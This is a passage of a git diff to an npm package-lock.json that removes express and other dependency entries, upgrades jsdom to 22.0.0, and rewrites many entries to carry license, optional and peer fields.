"sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", - "bin": { - "esparse": "bin/esparse.js", - "esvalidate": "bin/esvalidate.js" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - "engines": { - "node": ">=4.0" - } - }, - "node_modules/esutils": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", - "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/etag": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", - "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/express": { - "version": "4.18.2", - "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz", - "integrity": "sha512-5/PsL6iGPdfQ/lKM1UuielYgv3BUoJfz1aUwU9vHZ+J7gyvwdQXFEBIEIaxeGf0GIcreATNyBExtalisDbuMqQ==", - "dependencies": { - "accepts": "~1.3.8", - "array-flatten": "1.1.1", - "body-parser": "1.20.1", - "content-disposition": "0.5.4", - "content-type": "~1.0.4", - "cookie": "0.5.0", - "cookie-signature": "1.0.6", - "debug": "2.6.9", - "depd": "2.0.0", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", - "finalhandler": "1.2.0", - "fresh": "0.5.2", - "http-errors": "2.0.0", - "merge-descriptors": "1.0.1", - "methods": "~1.1.2", - "on-finished": "2.4.1", - "parseurl": "~1.3.3", - "path-to-regexp": "0.1.7", - "proxy-addr": "~2.0.7", - "qs": "6.11.0", - "range-parser": "~1.2.1", - "safe-buffer": "5.2.1", - "send": "0.18.0", - "serve-static": "1.15.0", - "setprototypeof": "1.2.0", - "statuses": "2.0.1", - "type-is": "~1.6.18", - "utils-merge": "1.0.1", - "vary": "~1.1.2" - }, - "engines": { - "node": ">= 0.10.0" - } - }, - "node_modules/express/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/express/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" - }, - "node_modules/fast-levenshtein": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", - "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==" - }, - "node_modules/finalhandler": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz", - "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==", - "dependencies": { - "debug": "2.6.9", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "on-finished": "2.4.1", - "parseurl": "~1.3.3", - "statuses": "2.0.1", - "unpipe": "~1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/finalhandler/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/finalhandler/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" - }, "node_modules/form-data": { "version": "4.0.0", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", - "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", + "license": "MIT", "dependencies": { "asynckit": "^0.4.0", "combined-stream": "^1.0.8", @@ -603,26 +268,11 @@ "node": ">= 6" } }, - "node_modules/forwarded": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", - "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/fresh": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", - "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", - "engines": { - "node": ">= 0.6" - } - }, "node_modules/fs-minipass": { "version": "2.1.0", - "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz", - "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "minipass": "^3.0.0" }, @@ -632,8 +282,9 @@ }, "node_modules/fs-minipass/node_modules/minipass": { "version": "3.3.6", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", - "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "yallist": "^4.0.0" }, @@ -643,18 +294,15 @@ }, "node_modules/fs.realpath": { "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==" - }, - "node_modules/function-bind": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + "license": "ISC", + "optional": true, + "peer": true }, "node_modules/gauge": { "version": "3.0.2", - "resolved": "https://registry.npmjs.org/gauge/-/gauge-3.0.2.tgz", - "integrity": "sha512-+5J6MS/5XksCuXq++uFRsnUd7Ovu1XenbeuIuNRJxYWjgQbPuFhT14lAvsWfqfAmnwluf1OwMjz39HjfLPci0Q==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "aproba": "^1.0.3 || ^2.0.0", "color-support": "^1.1.2", @@ -670,23 +318,11 @@ "node": ">=10" } }, - "node_modules/get-intrinsic": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.0.tgz", - "integrity": "sha512-L049y6nFOuom5wGyRc3/gdTLO94dySVKRACj1RmJZBQXlbTMhtNIgkWkUHq+jYmZvKf14EW1EoJnnjbmoHij0Q==", - "dependencies": { - "function-bind": "^1.1.1", - "has": "^1.0.3", - "has-symbols": "^1.0.3" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/glob": { "version": "7.2.3", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", @@ -702,37 +338,15 @@ "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/has": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", - "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", - "dependencies": { - "function-bind": "^1.1.1" - }, - "engines": { - "node": ">= 0.4.0" - } - }, - "node_modules/has-symbols": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", - "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/has-unicode": { "version": "2.0.1", - "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", - "integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==" + "license": "ISC", + "optional": true, + "peer": true }, "node_modules/html-encoding-sniffer": { "version": "3.0.0", - "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz", - "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==", + "license": "MIT", "dependencies": { "whatwg-encoding": "^2.0.0" }, @@ -740,25 +354,9 @@ "node": ">=12" } }, - "node_modules/http-errors": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", - "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", - "dependencies": { - "depd": "2.0.0", - "inherits": "2.0.4", - "setprototypeof": "1.2.0", - "statuses": "2.0.1", - "toidentifier": "1.0.1" - }, - "engines": { - "node": ">= 0.8" - } - }, "node_modules/http-proxy-agent": { "version": "5.0.0", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", - "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", + "license": "MIT", "dependencies": { "@tootallnate/once": "2", "agent-base": "6", @@ -770,8 +368,7 @@ }, "node_modules/https-proxy-agent": { "version": "5.0.1", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", - "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "license": "MIT", "dependencies": { "agent-base": "6", "debug": "4" @@ -782,8 +379,7 @@ }, "node_modules/iconv-lite": { "version": "0.6.3", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", - "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "license": "MIT", "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" }, @@ -793,8 +389,9 @@ }, "node_modules/inflight": { "version": "1.0.6", - "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "once": "^1.3.0", "wrappy": "1" @@ -802,51 +399,41 @@ }, "node_modules/inherits": { "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" - }, - "node_modules/ipaddr.js": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", - "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", - "engines": { - "node": ">= 0.10" - } + "license": "ISC", + "optional": true, + "peer": true }, "node_modules/is-fullwidth-code-point": { "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "optional": true, + "peer": true, "engines": { "node": ">=8" } }, "node_modules/is-potential-custom-element-name": { "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", - "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==" + "license": "MIT" }, "node_modules/jsdom": { - "version": "21.1.0", - "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-21.1.0.tgz", - "integrity": "sha512-m0lzlP7qOtthD918nenK3hdItSd2I+V3W9IrBcB36sqDwG+KnUs66IF5GY7laGWUnlM9vTsD0W1QwSEBYWWcJg==", + "version": "22.0.0", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-22.0.0.tgz", + "integrity": "sha512-p5ZTEb5h+O+iU02t0GfEjAnkdYPrQSkfuTSMkMYyIoMvUNEHsbG0bHHbfXIcfTqD2UfvjQX7mmgiFsyRwGscVw==", "dependencies": { "abab": "^2.0.6", - "acorn": "^8.8.1", - "acorn-globals": "^7.0.0", - "cssom": "^0.5.0", - "cssstyle": "^2.3.0", - "data-urls": "^3.0.2", - "decimal.js": "^10.4.2", + "cssstyle": "^3.0.0", + "data-urls": "^4.0.0", + "decimal.js": "^10.4.3", "domexception": "^4.0.0", - "escodegen": "^2.0.0", "form-data": "^4.0.0", "html-encoding-sniffer": "^3.0.0", "http-proxy-agent": "^5.0.0", "https-proxy-agent": "^5.0.1", "is-potential-custom-element-name": "^1.0.1", - "nwsapi": "^2.2.2", - "parse5": "^7.1.1", + "nwsapi": "^2.2.4", + "parse5": "^7.1.2", + "rrweb-cssom": "^0.6.0", "saxes": "^6.0.0", "symbol-tree": "^3.2.4", "tough-cookie": "^4.1.2", @@ -854,12 +441,12 @@ "webidl-conversions": "^7.0.0", "whatwg-encoding": "^2.0.0", "whatwg-mimetype": "^3.0.0", - "whatwg-url": "^11.0.0", - "ws": "^8.11.0", + "whatwg-url": "^12.0.1", + "ws": "^8.13.0", "xml-name-validator": "^4.0.0" }, "engines": { - "node": ">=14" + "node": ">=16" }, "peerDependencies": { "canvas": "^2.5.0" @@ -870,22 +457,11 @@ } } }, - "node_modules/levn": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", - "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==", - "dependencies": { - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2" - }, - "engines": { - "node": ">= 0.8.0" - } - }, "node_modules/lru-cache": { "version": "6.0.0", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", - "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "yallist": "^4.0.0" }, @@ -895,8 +471,9 @@ }, "node_modules/make-dir": { "version": "3.1.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", - "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "license": "MIT", + "optional": true, + "peer": true, "dependencies": { "semver": "^6.0.0" }, @@ -909,56 +486,23 @@ }, "node_modules/make-dir/node_modules/semver": { "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "license": "ISC", + "optional": true, + "peer": true, "bin": { "semver": "bin/semver.js" } }, - "node_modules/media-typer": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", - "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/merge-descriptors": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", - "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w==" - }, - "node_modules/methods": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", - "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mime": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", - "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", - "bin": { - "mime": "cli.js" - }, - "engines": { - "node": ">=4" - } - }, "node_modules/mime-db": { "version": "1.52.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", "engines": { "node": ">= 0.6" } }, "node_modules/mime-types": { "version": "2.1.35", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", "dependencies": { "mime-db": "1.52.0" }, @@ -968,8 +512,9 @@ }, "node_modules/mimic-response": { "version": "2.1.0", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-2.1.0.tgz", - "integrity": "sha512-wXqjST+SLt7R009ySCglWBCFpjUygmCIfD790/kVbiGmUgfYGuB14PiTd5DwVxSV4NcYHjzMkoj5LjQZwTQLEA==", + "license": "MIT", + "optional": true, + "peer": true, "engines": { "node": ">=8" }, @@ -979,8 +524,9 @@ }, "node_modules/minimatch": { "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "brace-expansion": "^1.1.7" }, @@ -990,16 +536,18 @@ }, "node_modules/minipass": { "version": "4.0.3", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-4.0.3.tgz", - "integrity": "sha512-OW2r4sQ0sI+z5ckEt5c1Tri4xTgZwYDxpE54eqWlQloQRoWtXjqt9udJ5Z4dSv7wK+nfFI7FRXyCpBSft+gpFw==", + "license": "ISC", + "optional": true, + "peer": true, "engines": { "node": ">=8" } }, "node_modules/minizlib": { "version": "2.1.2", - "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", - "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==", + "license": "MIT", + "optional": true, + "peer": true, "dependencies": { "minipass": "^3.0.0", "yallist": "^4.0.0" @@ -1010,8 +558,9 @@ }, "node_modules/minizlib/node_modules/minipass": { "version": "3.3.6", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", - "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "yallist": "^4.0.0" }, @@ -1021,8 +570,9 @@ }, "node_modules/mkdirp": { "version": "1.0.4", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", - "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "license": "MIT", + "optional": true, + "peer": true, "bin": { "mkdirp": "bin/cmd.js" }, @@ -1032,26 +582,24 @@ }, "node_modules/ms": { "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "license": "MIT" }, "node_modules/nan": { "version": "2.17.0", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.17.0.tgz", - "integrity": "sha512-2ZTgtl0nJsO0KQCjEpxcIr5D+Yv90plTitZt9JBfQvVJDS5seMl3FOvsh3+9CoYWXf/1l5OaZzzF6nDm4cagaQ==" + "license": "MIT", + "optional": true, + "peer": true }, - "node_modules/negotiator": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", - "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", - "engines": { - "node": ">= 0.6" - } + "node_modules/node-addon-api": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-6.1.0.tgz", + "integrity": "sha512-+eawOlIgy680F0kBzPUNFhMZGtJ1YmqM6l4+Crf4IkImjYrO/mqPwRMh352g23uIaQKFItcQ64I7KMaJxHgAVA==" }, "node_modules/node-fetch": { "version": "2.6.9", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.9.tgz", - "integrity": "sha512-DJm/CJkZkRjKKj4Zi4BsKVZh3ValV5IR5s7LVZnW+6YMh0W1BfNA8XSs6DLMGYlId5F3KnA70uu2qepcR08Qqg==", + "license": "MIT", + "optional": true, + "peer": true, "dependencies": { "whatwg-url": "^5.0.0" }, @@ -1069,36 +617,31 @@ }, "node_modules/node-fetch/node_modules/tr46": { "version": "0.0.3", - "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", - "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==" + "license": "MIT", + "optional": true, + "peer": true }, "node_modules/node-fetch/node_modules/webidl-conversions": { "version": "3.0.1", - "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", - "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==" + "license": "BSD-2-Clause", + "optional": true, + "peer": true }, "node_modules/node-fetch/node_modules/whatwg-url": { "version": "5.0.0", - "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", - "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", + "license": "MIT", + "optional": true, + "peer": true, "dependencies": { "tr46": "~0.0.3", "webidl-conversions": "^3.0.0" } }, - "node_modules/node-inspect": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/node-inspect/-/node-inspect-2.0.0.tgz", - "integrity": "sha512-vaDNU6Fa/vt8gv/PV+QoeSIPhcBnHMiNOtInxcojfagspQg5KP9HloUDGJWIacamT8Agiu51eF+fuBjrE25a6w==", - "deprecated": "This module is part of Node.js core and does not need to be installed separately. It is now unmaintained.", - "bin": { - "node-inspect": "cli.js" - } - }, "node_modules/nopt": { "version": "5.0.0", - "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz", - "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "abbrev": "1" }, @@ -1111,8 +654,9 @@ }, "node_modules/npmlog": { "version": "5.0.1", - "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-5.0.1.tgz", - "integrity": "sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "are-we-there-yet": "^2.0.0", "console-control-strings": "^1.1.0", @@ -1121,65 +665,31 @@ } }, "node_modules/nwsapi": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.2.tgz", - "integrity": "sha512-90yv+6538zuvUMnN+zCr8LuV6bPFdq50304114vJYJ8RDyK8D5O9Phpbd6SZWgI7PwzmmfN1upeOJlvybDSgCw==" + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.4.tgz", + "integrity": "sha512-NHj4rzRo0tQdijE9ZqAx6kYDcoRwYwSYzCA8MY3JzfxlrvEU0jhnhJT9BhqhJs7I/dKcrDm6TyulaRqZPIhN5g==" }, "node_modules/object-assign": { "version": "4.1.1", - "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "license": "MIT", + "optional": true, + "peer": true, "engines": { "node": ">=0.10.0" } }, - "node_modules/object-inspect": { - "version": "1.12.3", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.3.tgz", - "integrity": "sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/on-finished": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", - "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", - "dependencies": { - "ee-first": "1.1.1" - }, - "engines": { - "node": ">= 0.8" - } - }, "node_modules/once": { "version": "1.4.0", - "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "wrappy": "1" } }, - 